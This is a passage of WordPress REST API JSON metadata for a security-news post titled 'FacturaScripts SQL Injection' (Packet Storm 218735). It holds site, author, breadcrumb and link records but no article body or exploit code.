Injection_PACKETSTORM:218735","datePublished":"2026-04-13T11:50:32+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=46305"},"wordCount":1968,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=46305#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=46305","url":"https:\/\/zero.redgem.net\/?p=46305","name":"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-13T11:50:32+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=46305#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=46305"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=46305#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/46305","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=46305"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/46305\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=46305"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=46305"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=46305"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}